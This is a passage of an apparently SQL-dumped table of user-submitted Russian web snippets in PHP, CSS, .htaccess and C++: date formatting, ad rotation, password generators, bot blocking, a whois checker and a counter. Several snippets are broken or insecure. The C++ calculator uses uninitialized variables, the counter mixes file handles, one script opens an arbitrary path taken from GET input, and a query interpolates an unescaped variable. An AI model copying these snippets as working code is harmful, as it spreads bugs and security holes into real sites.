$string + $sdvig), array(    date(&quot;d.m.y&quot;, $time + $sdvig)=&gt;&quot;Сегодня&quot;, date(&quot;d.m.y&quot;, $time + $sdvig - 86400)=&gt;&quot;Вчера&quot;, &quot;January&quot;=&gt;&quot;Января&quot;, &quot;February&quot;=&gt;&quot;Февраля&quot;, &quot;March&quot;=&gt;&quot;Марта&quot;,    &quot;April&quot;=&gt;&quot;Апреля&quot;, &quot;May&quot;=&gt;&quot;Мая&quot;, &quot;June&quot;=&gt;&quot;Июня&quot;, &quot;July&quot;=&gt;&quot;Июля&quot;, &quot;August&quot;=&gt;&quot;Августа&quot;, &quot;September&quot;=&gt;&quot;Сентября&quot;, &quot;October&quot;=&gt;&quot;Октября&quot;, &quot;November&quot;=&gt;&quot;Ноября&quot;,    &quot;December&quot;=&gt;&quot;Декабря&quot;, &quot;Mon&quot;=&gt;&quot;Понедельник&quot;, &quot;Tue&quot;=&gt;&quot;Вторник&quot;, &quot;Wed&quot;=&gt;&quot;Среда&quot;, &quot;Thu&quot;=&gt;&quot;Четверг&quot;, &quot;Fri&quot;=&gt;&quot;Пятница&quot;, &quot;Sat&quot;=&gt;&quot;Суббота&quot;, &quot;Sun&quot;=&gt;&quot;Воскресенье&quot;));    break;    ?&gt;','files_1816_1307_',110),(124,13,'Вывод даты нормальным русским языком','Вывод даты нормальным русским языком','&lt;?php   function rusdate($d)    {    $montharr = array(&quot;января&quot;,&quot;февраля&quot;,&quot;марта&quot;,&quot;апреля&quot;,&quot;мая&quot;,&quot;июня&quot;,&quot;июля&quot;,&quot;августа&quot;,&quot;сентября&quot;,&quot;октября&quot;,&quot;ноября&quot;,&quot;декабря&quot;);    $i = date(&quot;m&quot;,$d) - 1;    return date(&quot;j&quot;,$d).&quot; $montharr[$i] &quot;.date(&quot;Y&quot;,$d);    }   ?&gt;','files_2649_5026_',110),(125,11,'Введение ссылок на запись','Введение ссылок на запись','&lt;?php echo &quot;&lt;div class=\'$div_umenu\'&gt;&lt;img src=\'ссылка где находиться картинка\' alt=\'\' /&gt; &lt;a href=\'ссылка пхп файла\'&gt;название&lt;/a&gt;&lt;/div&gt;&quot;; ?&gt;','files_4129_4336_',110),(126,11,'вывод рекламы для разных стран','наказываем разную инфоробцию для определеных стран','&lt;?php  $ua = $_SERVER[\'HTTP_USER_AGENT\']; if(preg_match(\'/ru/\', $ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на русском\'; }elseif(preg_match(\'/ua/\', $ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на украинском\'; }elseif(preg_match(\'/kz/\', $ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на казахском\'; }else{ $s=\'http://profiwm.com\'; $n=\'Для других стран\'; } $rek=&quot;&lt;a href=&quot;$s&quot;&gt;&lt;div class=&quot;rek&quot;&gt;&lt;img src=&quot;/ico.png&quot;&gt;$n&lt;/a&gt;&lt;/div&gt;&quot;;// групперуем  echo&quot;$rek&quot;;//выводим ?&gt;','files_2775_1250_',110),(127,11,'Подсветка кода (highlight.js)','Собственно это полезно для тех, кто хочет сделать подсветку синтаксиса кода на своем сайте или блоге.\r\n\r\nдля начала, качаем highlight.js с официального сайта http://highlightjs.org\r\nскачали, распаковали в желаемую дерикторию, переходим к процессу встраивания на свой сайт или блог:','// подключаем в шапке highlight.js  echo \'&lt;link rel=&quot;stylesheet&quot; href=&quot;/highlight/styles/tomorrow.css&quot;&gt; &lt;script src=&quot;/highlight/highlight.pack.js&quot;&gt;&lt;/script&gt; &lt;script&gt;hljs.initHighlightingOnLoad();&lt;/script&gt;\';  // делаем бб коды, для удобства function code ($code) { $code = preg_replace(\'/\\[php\\](.*?)\\[\\/php]/sui\', \'&lt;pre&gt;&lt;code class=&quot;php&quot;&gt;\\1&lt;/code&gt;&lt;/pre&gt;\', $code); $code = preg_replace(\'/\\[sql\\](.*?)\\[\\/sql]/sui\', \'&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;\\1&lt;/code&gt;&lt;/pre&gt;\', $code); $code = preg_replace(\'/\\[html\\](.*?)\\[\\/html]/sui\', \'&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;\\1&lt;/code&gt;&lt;/pre&gt;\', $code); $code = preg_replace(\'/\\[css\\](.*?)\\[\\/css]/sui\', \'&lt;pre&gt;&lt;code class=&quot;css&quot;&gt;\\1&lt;/code&gt;&lt;/pre&gt;\', $code); $code = preg_replace(\'/\\[js\\](.*?)\\[\\/js]/sui\', \'&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;\\1&lt;/code&gt;&lt;/pre&gt;\', $code); return $code; }  // ну, с использованием, думаю всё ясно  print code(текст, или запрос в бд на вывод текста);  // собственно всё, как видим минимум усилий, и качественная подсветка кода готова, бб коды можно дополнять по необходимости нужной подсветкой, так как highlight поддержует более 32 языков.','files_3155_3316_',110),(128,11,'показ разной рекламы 2','показ разной рекламы','&lt;?php  $ua = $_SERVER[\'HTTP_USER_AGENT\']; if(preg_match(\'/ru/\', $ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на русском\'; }elseif(preg_match(\'/ua/\', $ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на украинском\'; }elseif(preg_match(\'/kz/\', $ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на казахском\'; }else{ $s=\'http://profiwm.com\'; $n=\'Для других стран\'; } $rek=\'&lt;a href=&quot;\'.$s.\'&quot;&gt;&lt;div class=&quot;rek&quot;&gt;&lt;img src=&quot;/ ico.png&quot;&gt;\'.$n.\'&lt;/a&gt;&lt;/div&gt;\';  echo&quot;$rek&quot;;//выводим ?&gt;','files_3642_2345_',110),(129,11,'до нового года остался','до нового года остался ... без js','&lt;?php $number = 31 - date(d); if ($number == 0) {echo &quot;С новым годом!&quot;;} if ($number &gt; 0) {echo &quot;До нового года осталось &quot;.$number. &quot; дней!&quot;;} ?&gt;','files_3437_2779_',110),(130,11,'в текст добавляется копирайт','?При копировании текста с сайта, в текст добавляется адрес\r\nстраницы и копирайт.\r\nУстановка очень проста и займет всего лишь минутку. Из папки /\r\njs/ Нужно скопировать файл в свою папку.\r\n======================================================================================\r\nПрописать в корневом /index.php код\r\n&lt;script type=&quot;text/javascript&quot; src=&quot;/путь_до_файла/copyrtext.js&quot;&gt;&lt;/\r\nscript&gt;\r\nВсе!!! Работает 100%','function addLink() { var body_element = document.getElementsByTagName(\'body\')[0]; var selection; selection = window.getSelection(); var pagelink = &quot;&lt;br /&gt;&lt;br /&gt; Источник: &lt;a href=\'&quot;+document.location.href+&quot;\'&gt;&quot;+document.location.href+&quot;&lt;/a&gt;&lt;br / &gt; FisherNew.Ru&quot;; var copytext = selection + pagelink; var newdiv = document.createElement(\'div\'); newdiv.style.position=\'absolute\'; newdiv.style.left=\'-99999px\'; body_element.appendChild(newdiv); newdiv.innerHTML = copytext; selection.selectAllChildren(newdiv); window.setTimeout(function() { body_element.removeChild(newdiv); },0); } document.oncopy = addLink;','files_4512_4765_',110),(131,11,'Вывод случайного текста из файла','Создаём файл test.txt и через символ &quot;|&quot; добавляем текст, пример: текст1|текст2|текст3','&lt;?php # подгружаем файл $file = file_get_contents(\'test.txt\'); # разбиваем на массивы $ex = explode(\'|\', $file); # подготавливаем рандом $arr = array_rand($ex); # выводим print $arr;','files_4442_5212_',110),(132,20,'Полный код извлечения иконок из Java архива','Создаёте файл и туда лепите этот\r\nкод. Для примера название файла\r\nбудет icon.php\r\nТогда пишите такую штуку где\r\nвам надо:\r\necho\'Иконка: &lt;img src=&quot;icon.php?\r\njar=\'.base64_encode\r\n(\'java_game.jar\').\'&quot;/&gt;\';','&lt;?php if(!isset($_GET[\'jar\']))exit; $zip = new ZipArchive; if ($zip-&gt;open(base64_decode($_GET [\'jar\'])) === TRUE) { if($manifest = $zip-&gt;getFromName (\'META-INF/MANIFEST.MF\')){ if (strpos($manifest, \'MIDlet-Icon: \') ! == FALSE){ $jad = explode(\'MIDlet-Icon: \', $manifest); $icon = str_replace(&quot;n&quot;,\' \', $jad[1]); $icon = str_replace(&quot;r&quot;,\' \', $icon); $icon = strtok($icon,\' \'); $icon = preg_replace(\'#^/#\', NULL, $icon); } else $icon=\'icon.png\'; }else exit; if($image = $zip-&gt;getFromName ($icon)){ $image = imagecreatefromstring ($image); $width=imagesx($image); $height=imagesy($image); $x_ratio=16/$width; $y_ratio=16/$height; if(($width&lt;=16)&amp;&amp;($height&lt;=16)){ $tn_width=$width; $tn_height=$height; }elseif(($x_ratio*$height)&lt;16){ $tn_height=ceil($x_ratio*$height); $tn_width=16; }else{ $tn_width=ceil($y_ratio*$width); $tn_height=16; } $dst=ImageCreate($tn_width, $tn_height); imagecopyresampled($dst, $image, 0, 0, 0, 0, $tn_width,$tn_height,$width, $height); $image = $dst; }else{ //эта иконка будеет, если в архиве нет иконки $image = imagecreatefrompng (\'my_icon.png\'); } header(\'Content-type: image/png\'); ImagePng($image); ImageDestroy($image); $zip-&gt;close(); } ?&gt;','files_1420_2890_',151),(133,20,'Дневной логотип ~ Ночной логотип (php)','Логотип меняется в зависимости от того, какое время суток у пользователя!','// Создаем фаил logo_time.php и прописываем код ниже --- &lt;?php //формат 24 часа $time = date(&quot;H&quot;); //Время т.е с 5:00 до 19:00 будет стоять дневной логотип а с 19:00 до 5:00 будет ночной логотип if($time &gt; 5 &amp;&amp; $time &lt; 19) { //подключаем дневной логотип т.е day.png echo \'&lt;img src=&quot;day.png&quot; alt=&quot;&quot;&gt;\'; } else { //подключаем ночной логотип т.е night.png echo \'&lt;img src=&quot;night.png&quot; alt=&quot;&quot;&gt;\'; } ?&gt; --- Выводим логотип с помощью &lt;?php include(\'logo_time.php\') ?&gt; --- Пример: &lt;div class=&quot;head&quot; style=&quot;&quot;&gt;&lt;?php include(\'logo.php\') ?&gt;&lt;/div&gt;','files_3031_5344_',151),(134,20,'Текст на картинке (CSS3)','Плавное появление текста и фона на картинке при наведении на неё курсора!','*.html &lt;div class=&quot;div&quot;&gt; &lt;span class=&quot;img&quot;&gt; &lt;img src=&quot;images/Hight_School.png&quot; /&gt; &lt;span class=&quot;text&quot;&gt; Ваш текст! &lt;/span&gt; &lt;/span&gt; &lt;/div&gt;  *.css .div { border-top: 1px solid #777; text-align: center; padding: 10px; } .text { overflow: hidden; display: block; position: absolute; margin-top: 3px; bottom: 3px; left: 0; width: 100%; height: 98%; box-sizing: border-box; color: #FFF; text-align: left; padding: 5px 10px; opacity: 0; transition: all .2s ease-in-out; -webkit-transition: all .2s ease-in-out; -moz-transition: all .2s ease-in-out; } .text:hover { background-color: rgba(0, 0, 0, .9); opacity: 1; }  .img { display: inline-block; position: relative; }','files_4212_1872_',151),(135,20,'Расположить елемент по центру,горизонтале','Есть несколько способов расположить DIV по центру родительского элемента.\r\n\r\nСамый простой, присвоить ему следующий CSS-стиль:','div { width: 100px; margin: 0 auto;','files_3978_3376_',151),(136,20,'Затемнение счетчика. CSS','&lt;div class=&quot;opacity&quot;&gt; Код счетчика &lt;/div&gt;','Это пропишите в style.css  .opacity a img{opacity:0.3; -moz-opacity:0.3; filter:alpha(opacity=40); } .opacity a:hover img {opacity:1.0; -moz-opacity:1.0; filter:alpha(opacity=100); }','files_3718_4040_',151),(137,14,'Подсчёт возраста по дате рождения','Функция подсчёта возраста по дате рождения. Возвращает целое число.','&lt;?php  function calc_age($d, $m, $y)  {  $age = date(\'Y\') - $y;  $_m = date(\'m\');  if($_m &lt; $m || ($_m == $m &amp;&amp; date(\'d\') &lt; $d))  $age--;    return $age;  }  //ДД.ММ.ГГГГ  echo calc_age(27, 01, 1993);  ?&gt;','files_5293_3126_',151),(138,14,'Прокрутка счётчиков','Многие наверняка видели &quot;плывущие&quot; счётчики на разных сайтах, но не многие новички знают что это достигается при помощи обычного html тега &lt;marque&gt;','&lt;marquee behavior=&quot;scroll&quot; direction=&quot;down&quot; height = &quot;50spx&quot; scrollamount=&quot;2&quot;&gt;  Здесь коды счётчиков  &lt;/marquee&gt;  где [b]direction[/b] - Направление скрола, т.е. как будут прокручиваться счётчики.  [b]height[/b] - Размер в высоту места по которому будут скролить счётчики. Если у Вас скрол происходит по горизонтали , этот атрибут можно убрать.  [b]scrollamount[/b] - скорость скрола.','files_4865_4573_',151),(139,14,'Проверка совпадений в массиве (array)','Проверка совпадений в массиве (array)','//ну тут все понятно if(isset($_POST[\'ok\'])) { $bejsser = array(\'1\', \'2\', \'3\', \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'10\'); $lol = htmlspecialchars(trim($_POST[\'lol\'])); //проверяем ,есть ли совпадения if(in_array($lol, $bejsser)) { echo \'Есть совпадение\'; }else{ echo \'Совпадений не найденно\'; }} echo \'&lt;form method=&quot;post&quot;&gt; &lt;input type=&quot;text&quot; name=&quot;lol&quot; /&gt; &lt;br&gt; &lt;input type=&quot;submit&quot; name=&quot;ok&quot; /&gt; &lt;/form&gt;\';  //Иными словами, если в поле \'lol\' будет одно из значений,которое есть в массиве,то вылетает true если нету , то false ))','files_1926_1708_',151),(140,14,'Закрыть доступ к веб-сайту в рабочее время:','Закрыть доступ к веб-сайту в рабочее время:','RewriteCond %{TIME_HOUR}%{TIME_MIN} &gt;1000 RewriteCond %{TIME_HOUR}%{TIME_MIN} &lt;1900 RewriteRule .* - [ F ]','files_2876_1642_',151),(141,14,'.htaccess : Склейка домена','Для того что бы избавиться раз и навсегда от www, и склеить домен без www (http://ваш_сайт.ру т.е. в адресной строке больше ни когда не будет домена с www - http://www.ваш_сайт.ру), нужно использовать следующий код:','RewriteEngine on RewriteCond %{HTTP_HOST} ^www.ваш_сайт.ру [NC] RewriteRule ^(.*)$ http://ваш сайт.ру/$1 [R=301,L]','files_1332_1812_',151),(142,14,'Полезный код (хз как назвать)','Допустим жмете на ссылку, а вас кидает вниз страницы.','Ссылка: &lt;a href=\'/страница.html#ключевые данные\'&gt;вниз&lt;/a&gt;  пример: &lt;a href=&quot;/rulels.php#1.6&quot;&gt;правило #1.6&lt;/a&gt;  ниже пишем правило: &lt;div id=&quot;1.6&quot;&gt;ТУТ написано какое-то правило, ссылка переместит вас сюда&lt;/div&gt;  всё:3','files_2831_4888_',151),(143,14,'калькулятор на с++','простой калькулятор на сложение. лень делать с остальными) Если можно проще или я где-то ошибся, отпишите)','#include &lt;iostream&gt; #include &lt;locale&gt;  using namespace std;  int main() { int number1; int number2; int result = number1 + number2; setlocale(LC_ALL, &quot;rus&quot;);   cout &lt;&lt; &quot;Здарова пацандре! Я смотрю ты считать не умеешь! Я тебе помогу!&quot; &lt;&lt; endl; cout &lt;&lt; &quot;Введи первую цифру: &quot; cin &gt;&gt; number1; cout &lt;&lt; endl;  system(&quot;pause&quot;);  cout &lt;&lt; &quot;Теперь вторую гони сюда: &quot; cin &gt;&gt; number2; system(&quot;pause&quot;); cout &lt;&lt; endl; cout &lt;&lt;&quot;Ответ готов!&quot; &lt;&lt; number1 &lt;&lt; &quot; + &quot; &lt;&lt; number2 &lt;&lt; &quot; = &quot; &lt;&lt; result; system(&quot;pause&quot;); }','files_1610_4765_',151),(144,14,'Включаем вывод всех PHP ошибок в браузере','Этот код , позволяющий включить вывод ошибок в браузер:','1. error_reporting(E_ALL); 2. ini_set(&quot;display_errors&quot;, 1);','files_4305_2920_',151),(145,14,'Opera Mini -&gt; Исходник','в урл пишем код ниже и вуаля.','server:source','files_1450_4451_',151),(146,14,'Блокирование запросов от определенных браузеров','Если в ваших файлах журналов появились записи о посещении особых браузеров (это могут быть имитирующие работу браузера боты или пауки), вы можете запретить им доступ на свой сайт, добавив несколько строк в. htaccess.\r\nЗамените badbot1, badbot1 и т. д. именами ботов из вашего журнала. Это закроет посторонним программам доступ к вашему сайту.код нашел в интернете.','RewriteEngine On RewriteBase / SetEnvIfNoCase Referer &quot;^$&quot; bad_user SetEnvIfNoCase User-Agent &quot;^badbot1&quot; bad_user SetEnvIfNoCase User-Agent &quot;^badbot2&quot; bad_user SetEnvIfNoCase User-Agent &quot;^badbot3&quot; bad_user Deny from env=bad_user','files_1505_2807_',151),(147,14,'Исходник с телефона','У меня опера мини. Работает нормально. Зайдите в закладки, в адрес напишите код ниже. Сохраните. Зайдите на сайт и в закладках выберите наш код.','javascript:el=document.getElementsByTagName(\'html\')[0];s=el.outerHTML.replace(/&lt;/g,\'&amp;lt;\');el.innerHTML=&quot;&quot;;document.write(s);','files_4938_5644_',151),(148,14,'C++ для начинающих','Для данного урока нам потребуется .NET 4 и Microsoft Visual C++','#include &lt;iostream&gt; // вызываем библиотеку отвечающую за вывод на экран using namespace std; // используем пространство по умалчиванию  void main() { cout &lt;&lt; &quot;Hi, this my first program on C++!&quot;; // выводим текст на экран }  /* void - тип main - имя функции (..) - вход в функцию */  Компилируем и радуемся что мы написали свою первую программу на Си++.','files_2774_2686_',151),(149,14,'Генерация случайного набора символов NEW','Смотрю коды которые вылаживают и ужасаюсь от количества строк.\r\nМинус у этого метода только один и это количество символов в генерируемой строке не может превышать количеству заданных символов для генерации','Первый вариант [code] function RandomStringOne($length = 7) { return substr(str_shuffle(implode(array_merge(range(0,9), range(\'A\', \'Z\'), range(\'a\', \'z\')))), 0, $length); }  echo RandomStringOne(); [/code] Второй вариант [code] function RandomStringTwo($length = 7) { return substr(str_shuffle(\'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\'), 0, $length); }  echo RandomStringTwo(); [/code]','files_4207_4116_',151),(150,14,'Генерация случайного набора символов','Генерирует случайную строку,содержащую в себе буквы и цифры','$a = array(\'a\',\'b\',\'c\',\'d\',\'k\',\'o\',\'i\',\'s\',\'h\',\'t\',\'u\',\'z\',\'y\',\'w\',\'v\',\'m\',\'n\',\'e\',\'A\',\'B\',\'C\',\'D\',\'K\',\'O\',\'I\',\'S\',\'H\',U\',\'M\',\'S\',\'T\',\'E\',\'J\',\'L\',\'P\',\'R\',\'W\'); $rand = rand(00000, 99999); $o = $a[rand(0,10)]; $o1 = $a[rand(0,15)]; $o2 = $a[rand(0,25)]; $o3 = $a[rand(0,37)]; $oo = $o.$o1.$rand.$o2.$o3; echo \'\'.$oo.\'\';','files_3747_3023_',151),(151,14,'Простенький генератор паролей','Простенький генератор паролей','&lt;? if(isset($_POST[\'ok\'])){ $arr=array(\'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\'); $k=intval($_POST[\'kak\']); for($i=1; $i&lt;=intval($_POST[\'d\']); $i++){ if($k == 1){ $gen.=$arr[rand(0,(count($arr)-1))]; } elseif($k == 2){ $gen.=rand(0,9); } } echo\'&lt;b&gt;Пароль: &lt;font color=&quot;green&quot;&gt;\'.$gen.\'&lt;/font&gt;&lt;/b&gt;\'; } echo\'&lt;form method=&quot;post&quot;&gt;Длина пароля:&lt;br/&gt;&lt;input type=&quot;text&quot; name=&quot;d&quot; size=&quot;2&quot;&gt;&lt;br/&gt;Используемые символы:&lt;br/&gt;&lt;select name=&quot;kak&quot;&gt;&lt;option value=&quot;1&quot;&gt;A-z&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;0-9&lt;/option&gt;&lt;/select&gt;&lt;br/&gt;&lt;input type=&quot;submit&quot; name=&quot;ok&quot; value=&quot;Генерировать&quot;&gt;&lt;/form&gt;\'; ?&gt;','files_5267_3500_',151),(152,14,'Совместимость имен. FIXED','Совместимость имен. FIXED','&lt;?php    function calc_names($name1, $name2) {    $num1 = 0;    $num2 = 0;        $base = array(&quot;0&quot; =&gt; 0, &quot;1&quot; =&gt; 1, &quot;2&quot; =&gt; 2, &quot;3&quot; =&gt; 3, &quot;4&quot; =&gt; 4, &quot;5&quot; =&gt; 5, &quot;6&quot; =&gt; 6, &quot;7&quot; =&gt; 7, &quot;8&quot; =&gt; 8, &quot;9&quot; =&gt; 9, &quot;a&quot; =&gt; 10, &quot;b&quot; =&gt; 11, &quot;c&quot; =&gt; 12, &quot;d&quot; =&gt; 13, &quot;e&quot; =&gt; 14, &quot;f&quot; =&gt; 15);        $md1 = md5($name1);    $md2 = md5($name2);        for($i = 0; $i &lt; 32; $i++) {    $value = $base[substr($md1, $i, 1)];    $num1 += $value;    }        for($j = 0; $j &lt; 32; $j++) {    $value = $base[substr($md2, $j, 1)];    $num2 += $value;    }        return 100 - round(abs(ceil($num1 / 3.1) - ceil($num2 / 3.1)) * 3);    }  if($_POST[\'ot\'] == NULL AND $_POST[\'do\'] == NULL){ $ot = \'Саша\'; $do = \'Маша\'; }else{ $ot = htmlspecialchars($_POST[\'ot\']); $do = htmlspecialchars($_POST[\'do\']); } if(isset($_POST[\'submit\'])){  $result = \'Результат: &lt;b&gt;\'.$ot.\' + \'.$do.\' = \'.calc_names($_POST[\'ot\'], $_POST[\'do\']).\'%&lt;/b&gt;&lt;hr /&gt;\'; }  echo \'&lt;div class=&quot;new&quot;&gt;&lt;form method=&quot;post&quot;&gt;\'.$result.\' Ваше имя:&lt;br /&gt; &lt;input type=&quot;text&quot; name=&quot;ot&quot; value=&quot;\'.$ot.\'&quot; /&gt;&lt;br /&gt; Имя вашей половинки:&lt;br /&gt; &lt;input type=&quot;text&quot; name=&quot;do&quot; value=&quot;\'.$do.\'&quot; /&gt;&lt;br /&gt; &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Получить&quot; /&gt; &lt;input type=&quot;submit&quot; name=&quot;refresh&quot; value=&quot;Обновить&quot; /&gt;&lt;/form&gt;&lt;/div&gt;\'; ?&gt;','files_5258_2728_',151),(153,14,'Ошибка социала (исправление)','На движке социала и на официальном сайте движка, заметил такую ошибку, у пользователя в разделе &quot;Все статусы&quot; не выводится количество лайков, данный код исправит эту ошибку, замените его в нужных местах. Если понадобится помощь, пишите в л/с.','&quot; . mysql_result(mysql_query(&quot;SELECT COUNT(*) FROM `status_like` WHERE `id_status` = \'$post[id]\'&quot;),0).&quot;&lt;/a&gt;&quot;;','files_2908_3547_',151),(154,14,'Разбор robots.txt','Этот пример класса, получающего и разбирающего файл robots.txt.','&lt;?phpclass robots{ var $content = \'\'; # текст файла robots.txt var $branches = array(); # здесь храним ветки для разных User-Agent # конструктор # @url: адрес сайта или хост в произвольном формате function robots($url) { # получаем файл robots.txt $url = preg_replace(\'#^http://#is\', \'\', trim($url)); $url = current(explode(\'/\', $url)); $this-&gt;content = trim(file_get_contents(\'http://\' . $url . \'/robots.txt\')); # парсим полученные данные $s = preg_split(\'#[n]+#is\', $this-&gt;content); $current_user_agent = \'\'; foreach($s as $line) { $line = trim(current(explode(\'#\', trim($line), 2))); if (substr_count($line, \':\')&lt;1) continue; $line = explode(\':\', $line, 2); $current_directive = strtolower(trim($line[0])); $current_value = trim($line[1]); if ($current_directive == \'user-agent\') { $current_user_agent = $current_value; } elseif($current_user_agent!=\'\') { $this-&gt;branches[$current_user_agent][$current_directive][] = $current_value; } } } # получить значение заданной директивы для заданного агента # @user_agent: агент # @directive: имя директивы # возвратит FALSE если директива неуказана function get_directive($user_agent, $directive) { $user_agent = strtolower($user_agent); $directive = strtolower($directive); $ret = array(); foreach($this-&gt;branches as $ua_mask=&gt;$data) { if (($ua_mask==\'*\' || $user_agent==\'*\' || @preg_match(\'#\'.preg_quote($ua_mask,\'#\').\'#is\', $user_agent)) &amp;&amp; isset($data[$directive])) { $ret = array_merge($ret, $data[$directive]); } } if (count($ret)&gt;0) return array_unique($ret); else return FALSE; } # проверить, запрещен ли url к индексации # @user_agent: агент # @url: полный url для проверки # возвратит TRUE если url запрещен function check_disallow($user_agent,$url) { $url = preg_replace(\'#^http://#is\', \'\', trim($url)); $url = explode(\'/\', $url, 2); $url = (count($url)&gt;1) ? \'/\' . $url[1] : \'/\' . $url[0]; $url = trim($url); $info = $this-&gt;get_directive($user_agent, \'Disallow\'); foreach($info as $url_mask) { if (preg_match(\'#^\'.preg_quote($url_mask, \'#\').\'#\', $url)) { return true; } } return false; }}?&gt;','files_5000_5492_',151),(155,14,'Проверка наличия ссылки на странице!','Иногда необходимо убедиться в том, что на конкретной странице действительно есть конкретная ссылка','&lt;?phpfunction contains_link($page_url, $link_url) {// $page_url - страница на которй ищем// $link_url - ссылка, которую ищем $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $page_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // в качестве User-Агента можно использовать имя бота поисковых систем для пущей надежности ;-) curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\'); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_TIMEOUT,60); curl_setopt($ch, CURLOPT_FAILONERROR, true); $html = curl_exec($ch); curl_close($ch); if(!$html) return false; /* убираем все комментарии */ $html = preg_replace(\'//i\', \'\', $html); /* Выдираем все ссылки */ $regexp=\'/(]*hrefs*=s*[&quot;\']?)([^\'&quot;&gt;]+)([\'&quot;]+[^&amp;lt;&gt;]*&gt;)/i\'; if (!preg_match_all($regexp, $html, $matches, PREG_SET_ORDER)) { return false; /* нет ссылки :-( */ }; /* Анализируем каждую ссылку */ foreach($matches as $match){ /* Если ссылка содержит атрибут rel=nofollow - пропускаем её */ if(preg_match(\'/rels*=s*[\'&quot;]?nofollow[\'&quot;]?/i\', $match[0])) continue; if ($match[2]==$link_url) return true; // Ура! } return false;}if (contains_link(\'http://htmlweb.ru/\',\'http://VseTaksi.ru/\')) echo \'Ссылка найдена!\';else echo \'Ссылка не найдена!\';?&gt;','files_3622_5116_',151),(156,14,'Склонение слов!','Сейчас на сайте 2 гостей и 3 новостейСмешно звучит, правда? А ведь такие уродливые сочетания встречаются на очень многих сайтах. И если в английском языке достаточно написать что-то типа day(s), byte(s) и это будет смотреться вполне нормально, то в русском языке в конструкциях &quot;число слово&quot; обязательно придется учитыватьсклонения. Безумные извраты типа&quot;гостя(ей)&quot; и &quot;новость(ей)&quot; я даже не рассматриваю, за такое надо лишать доступа к компьютеру навсегда.Чтобы писать по-русски можно использовать следующую универсальную функцию:','&lt;?php// Гостей$num1=2;$words1=Array(&quot;гость&quot;, &quot;гостя&quot;, &quot;гостей&quot;);// Новостей$num2=3;$words2=Array(&quot;новость&quot;, &quot;новости&quot;,&quot;новостей&quot;);// Написать по-русскиecho &quot;Сейчас на сайте &quot;;echo $num1.&quot; &quot;.num2word($num1,$words1); // сколько гостейecho &quot; и &quot;;echo $num2.&quot; &quot;.num2word($num2,$words2); // сколько новостей?&gt;','files_3003_2602_',151),(157,14,'Whios сканер','Скрипт проверяет и выводит дату истечения срока регистрации домена, а также количество дней до окончания срока регистрации домена (только.com/.net/.org).Данный пример демонстрирует следующие аспекты программированияна PHP: работа с сокетами, регулярнымивыражениями, файловые операции, операции с датой и временем.\r\nАвтор не я!','&lt;?php// Пример получения whois-данных домена// Источник: http://turenko.com/blog/2006/10/24/checking-whois-in-php/// (c) Mikhail Turenko// доменное имя (com, net, org)$domain = &quot;turenko.com&quot;;// получаем whois-запись$resp = get_whois($domain);// извлекаем адрес whois-сервераpreg_match(&quot;!^s*Whois Server:s+([w.]+)b!im&quot;, $resp, $matches);$server = $matches[1];// извлекаем дату истечения срока доменаpreg_match(&quot;!^s*Expiration Date:s+([w-]+)b!im&quot;, $resp, $matches);$expiry = $matches[1];// вычисляем количество дней до окончания срока$exptime = strtotime($expiry);$expdays = round(($exptime - time()) / 84600);$expiry = date(&quot;d/m/Y&quot;, $exptime);print &quot;Domain: $domainn&quot;;print &quot;Whois server: $servern&quot;;print &quot;Expires: $expiryn&quot;;print &quot;Days left: $expdaysn&quot;;function get_whois($domain, $server=&quot;whois.verisign-grs.com&quot;){if (trim($domain) &lt;&gt; &quot;&quot;){$domain = trim($domain);$fp = fsockopen($server, 43, $errno, $errstr, 30);if (!$fp) $response = &quot;$errstr ($errno)&quot;;else{ $response = &quot;&quot;; fputs($fp, &quot;$domainrn&quot;); while (!feof($fp)) $response .= fread($fp,128); fclose ($fp); }}return $response;}?&gt;','files_4719_3279_',151),(158,14,'Граф счетчик','Создавая текстовый счетчик, мы ограничены свойствами текста в браузере.Данный пример демонстрирует работу простого графического счетчика. По функциональности он совершенно идентичен текстовому счетчику.Для работы этого счетчика необходимо создать графическое изображение, которое послужит базой для счетчика.Это изображение надо сохранить под именем counter.pngВ скрипте использована библиотека GD,перед тем как пользоваться этой библиотекой, узнайте у хостера, подключена ли эта библиотека.','&lt;?php$dat_file=&quot;counter.dat&quot;; // Файл счетчика if (!is_file($dat_file)) { // Пытаемсясоздать файл. if (@touch($dat_file)) { @chmod($dat_file, 0777); //Права доступа } else echo \'Нет файла \' . $dat_file . \'. Создать не удалось. Выставите права 777 на папку.\'; } // Открывем файл счетчика и считываем текущий счет // в переменную $count $fn=fopen($dat_file,&quot;r&quot;); $count=fgets($f,100); fclose($fn); $count=preg_replace(&quot;/ /&quot;,&quot;&quot;,$count); // Удаляем символ конца строки $count++; // Увеличиваем счетчик // Записываем данные обратно в файл $fn=fopen($dat_file,&quot;w&quot;); @flock($fn, LOCK_EX); // блокировка записи @fputs($f,&quot;$count &quot;); @fflush ( $fn ); //ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ @flock($fn, LOCK_UN); // Снятие блокировки fclose($fn); // Создаем новое изображение из 